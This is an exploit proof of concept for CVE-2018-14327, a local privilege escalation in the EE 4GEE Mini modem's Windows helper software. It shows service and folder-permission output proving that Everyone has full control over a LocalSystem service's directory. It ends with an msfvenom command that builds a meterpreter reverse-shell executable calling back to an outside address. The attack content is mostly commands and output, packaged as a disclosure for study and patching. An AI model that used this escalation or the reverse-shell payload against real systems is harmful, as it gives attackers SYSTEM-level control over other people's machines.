EE 4GEE Mini EE40_00_02.00_44 - Privilege Escalation

Osanda Malith Jayathissa 2018-09-27 local windows
# Title: EE 4GEE Mini EE40_00_02.00_44 - Privilege Escalation 
# Date: 2018-09-22
# Software Version: EE40_00_02.00_44
# Tested on: Windows 10 64-bit and Windows 7 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original Advisory: http://blog.zerodaylab.com/2018/09/zerodaylab-discovers-ee-unquoted.html
# Original Write-up: https://osandamalith.com/2018/09/17/ee-4gee-mini-local-privilege-escalation-vulnerability-cve-2018-14327/
# CVE: CVE-2018-14327
# References
# https://www.theregister.co.uk/2018/09/19/ee_modem_vuln/
# https://thehackernews.com/2018/09/4g-ee-wifi-modem-hack.html

# PoC

C:\>sc qc "Alcatel OSPREY3_MINI Modem Device Helper"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: Alcatel OSPREY3_MINI Modem Device Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Web Connecton\EE40\BackgroundService\ServiceManager.exe -start
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Alcatel OSPREY3_MINI Modem Device Helper
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


# Weak Folder Permissions

C:\Program Files (x86)\Web Connecton>icacls EE40
EE40 Everyone:(OI)(CI)(F)
     NT SERVICE\TrustedInstaller:(I)(F)
     NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
     NT AUTHORITY\SYSTEM:(I)(F)
     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
     BUILTIN\Administrators:(I)(F)
     BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
     BUILTIN\Users:(I)(RX)
     BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
     CREATOR OWNER:(I)(OI)(CI)(IO)(F)
     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
 
Successfully processed 1 files; Failed processing 0 files
 
C:\Program Files (x86)\Web Connecton>
C:\Program Files (x86)\Web Connecton>
C:\Program Files (x86)\Web Connecton>icacls EE40\BackgroundService
EE40\BackgroundService Everyone:(OI)(CI)(F)
                       Everyone:(I)(OI)(CI)(F)
                       NT SERVICE\TrustedInstaller:(I)(F)
                       NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Users:(I)(RX)
                       BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
 
Successfully processed 1 files; Failed processing 0 files

# Example Payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 lport=443 -f exe -o rev_shell.exe